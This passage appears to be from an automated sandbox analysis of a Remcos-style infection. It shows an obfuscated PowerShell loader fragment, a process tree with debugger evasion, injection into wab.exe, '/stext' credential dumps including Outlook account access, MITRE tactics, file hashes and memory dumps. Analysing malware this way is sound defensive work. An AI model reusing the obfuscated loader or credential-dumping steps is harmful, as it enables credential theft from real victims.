teAHeksen.SCounterC.tjlernIStarkypIPaalgsc.ModigstGBart nde Pallout M,nunaSReplik,tvggenstrSabbatii StruggnUdstykkgRagtim.(bladder$.elefonR,rthogreItineranAfdoedtgRemateduRadioakeMisfeat)Datauhe ');Sarcophilus (Brassart 'Bailage$Scler.sgBes vdol nidudioKanutudb eripeaSintri.lCa,ital:Daane oUUdlbstinMateriacP otoplrSalatoly ramatusSynchrotSangu ma capryllApastrolSti,hediKo,eplazPoloskjaTil ntebGoodwiliServi pl enecoliTypehustAffaldsiGavottieA,tomatsSpandre=Tilstrm$ Fejlrec,omputeoMis.etrmInva idmTaflerte For lirLderpuncUl.iereiArgumenaActinull SculleiGr.bworzEspad iiBrugstyn Boble gTrammel. Digamms Ge,tatu hamfebReglemesLer aretAmar,nerSchoo.siFysiurgnFladbl,gHerskab(En.erso$La.aniaKFngselsoSnderlenBilineatU,blusheUnpitiek S,reflsHeikesltHera lefTillbe.rS,elteriEpiphys,Morbro $ ActinoUDotlikenIngravet Skrivea SubmersMystifitTraitoreLetterifTenen.uu lleapplNonrespn Mismo eDemeritsPersonasarsenic)Rhinsku ');Sarcophilus $Uncrystallizabilities;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3952
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Appelmulighed.Bes && echo t"
      4⤵
      PID:1576
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3636
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\plcdmtxxtouob"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2400
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\znpwnlirhwmsdjxg"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:4580
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\chugnetsveexoxtkdmku"
        5⤵
        
        PID:812
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\chugnetsveexoxtkdmku"
        5⤵
        
        PID:2932
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\chugnetsveexoxtkdmku"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 0651b17c124856346fdf1d372c055912da78f4542cb01711ca3f47830419a066
MD5 38398744a349fb78af90e43e79f78ae9
SHA1 bee07b4f057bb255a3fc853998f686022c31c9c3
SHA512 76ea247ed42aae67aed9c91f785df6ada3b16290fdf26d2dda546d813fead0144a8e4074ced5fc8610368744477e813099fb973a987ead69f7960e0f3c534f0d
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_maabjdcs.t34.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_maabjdcs.t34.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

plcdmtxxtouob

Path C:\Users\Admin\AppData\Local\Temp\plcdmtxxtouob
Size 4KB
SHA256 0ef9194c6e90b23c416316fc5a15f549ee5b2472014fcd7648d72ca9a865b409
MD5 73ddf6cd83c2ad8a2fbb2383e322ffbc
SHA1 05270f8bb7b5cc6ab9a61ae7453d047379089147
SHA512 714db1956faa795005b15324b9604105881d6b484fe899876fe0df85783c61a72f556a875833af8625625212503b95eea2eb353a1d98f6a7af47a3658ea5262d
SSDEEP 48:wvvv0PxfvvcPxfdvv0PxBvv0Pxakvv0P7:mvCxvqp1vCPvCbvC7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Appelmulighed.Bes

Path C:\Users\Admin\AppData\Roaming\Appelmulighed.Bes
Size 448KB
SHA256 f2265bc03ef563ede08c5eab67b27f147c1635cc85d17f41bf53c615bdf8d650
MD5 334f9b5f169ff2f2587ce0eff7767b08
SHA1 30b561b8bdbbf0f0133897a22f5e603d3175ce23
SHA512 e0fc0e68bd85730f37009386b58a664a976c8ccc93d5ccd44ca32737a8eb92b530341c3674a1ccfd6e5fb340754fe98ddc3396021bb0d1822d23a77223408332
SSDEEP 6144:nSOolg4G+jEF3SPY/GPlbcSlJvB1egqBbKM1WJdDgZY9S7/jAv9i8bIT/UNAtmf:Sflg4LQF3SDRXz1erWM1E8XIiKAs
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1376-14-0x0000023C3C810000-0x0000023C3C832000-memory.dmp

Download

memory/1376-15-0x00007FFE98210000-0x00007FFE98CD1000-memory.dmp

Download

memory/1376-16-0x00007FFE98210000-0x00007FFE98CD1000-memory.dmp

Download

memory/1376-4-0x00007FFE98213000-0x00007FFE98215000-memory.dmp

Download

memory/1376-43-0x00007FFE98210000-0x00007FFE98CD1000-memory.dmp

Download

memory/1376-44-0x00007FFE98213000-0x00007FFE98215000-memory.dmp

Download

memory/1376-52-0x00007FFE98210000-0x00007FFE98CD1000-memory.dmp

Download

memory/1884-62-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1884-64-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1884-63-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2400-56-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2400-61-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2400-58-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3636-73-0x0000000021930000-0x0000000021949000-memory.dmp

Download

memory/3636-70-0x0000000021930000-0x0000000021949000-memory.dmp

Download

memory/3636-106-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-103-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-100-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-46-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-97-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-53-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-94-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-91-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-88-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-85-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-82-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-79-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-76-0x0000000000650000-0x00000000018A4000-memory.dmp

Download

memory/3636-74-0x0000000021930000-0x0000000021949000-memory.dmp

Download

memory/3952-21-0x00000000055F0000-0x0000000005612000-memory.dmp

Download

memory/3952-37-0x00000000063F0000-0x000000000640A000-memory.dmp

Download

memory/3952-42-0x00000000088A0000-0x000000000CCEF000-memory.dmp

Download

memory/3952-20-0x0000000004F90000-0x00000000055B8000-memory.dmp

Download

memory/3952-22-0x0000000005790000-0x00000000057F6000-memory.dmp

Download

memory/3952-39-0x00000000070D0000-0x00000000070F2000-memory.dmp

Download

memory/3952-23-0x0000000005800000-0x0000000005866000-memory.dmp

Download

memory/3952-19-0x0000000002590000-0x00000000025C6000-memory.dmp

Download

memory/3952-33-0x0000000005890000-0x0000000005BE4000-memory.dmp

Download

memory/3952-34-0x0000000005E80000-0x0000000005E9E000-memory.dmp

Download

memory/3952-35-0x0000000005F10000-0x0000000005F5C000-memory.dmp

Download

memory/3952-38-0x0000000007140000-0x00000000071D6000-memory.dmp

Download

memory/3952-36-0x00000000076C0000-0x0000000007D3A000-memory.dmp

Download

memory/3952-40-0x00000000082F0000-0x0000000008894000-memory.dmp

Download

memory/4580-57-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4580-60-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4580-59-0x0000000000400000-0x0000000000462000-memory.dmp

Download